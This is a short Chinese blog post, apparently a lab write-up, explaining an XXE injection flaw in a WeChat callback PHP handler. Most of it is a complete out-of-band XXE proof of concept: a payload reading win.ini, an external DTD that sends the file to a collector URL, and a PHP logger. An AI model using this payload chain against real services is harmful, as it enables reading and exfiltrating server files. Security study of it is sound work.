美文网首页
WX的XXE实体注入示例

WX的XXE实体注入示例

作者: N8_xEnn7nA1 | 来源:发表于2018-11-13 12:11 被阅读0次

查看代码:

image.png

可以看到,要执行的代码也就4行,下面是 webchatCallbackupapiTest 这个类的定义。
既然代码执行了该类的 responseMsg() 函数, 那就来看看该函数的实现:

image.png

可以看到,该函数回去读取post请求数据,并将post请求数据通过 simplexml_load_string() 函数转换为XML有关的对象,

其中,也没有禁止xml数据中使用外部实体(例如使用libxml_disable_entity_loader(true)),也没有过滤用户提交的XML数据。
因此可以进行XXE注入。

poc 如下:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://localhost/xxe/1.xml"> 
%remote;
%all;
%send; 
]> 

其中,1.xml 如下:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1/xxe/2.php?id=%file;'>"
>
%all;

其中,2.php如下:

<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
image.png

提交请求,然后访问:http://120.203.13.75:8123/xxe/3.txt 即可。

相关文章

  • WX的XXE实体注入示例

    查看代码: 可以看到,要执行的代码也就4行,下面是 webchatCallbackupapiTest 这个类的定义...

  • JAVA的XXE漏洞

    1. XXE简介 XXE(XML外部实体注入,XML External Entity) ,漏洞在对不安全的外部实体...

  • XXE漏洞知识整理

    XXE -"xml external entity injection"既"xml外部实体注入漏洞"攻击者可以注入...

  • java xxe漏洞

    一、XXE漏洞简介 1、XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XM...

  • XXE漏洞学习笔记

    XXE漏洞 简介: XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、...

  • 2019-08-27

    XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻...

  • XXE

    XXE(Xml external entity -injection) xml外部实体注入XML 指可扩展标记语言...

  • owasp top 10 谈信息安全

    1、注入2、失效的身份认证和会话管理3、敏感信息泄露4、XML外部实体(XXE)5、失效的访问控制6、安全配置错误...

  • isg ctf write up

    web1 右键看源码,得到一段js代码 xxe漏洞,添加xxe poc web2 命令注入 url编码查看flag...

  • XXE攻击原理

    1简述 XXE(XML External Entity)是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析X...

网友评论

      本文标题:WX的XXE实体注入示例

      本文链接:https://www.haomeiwen.com/subject/ywikfqtx.html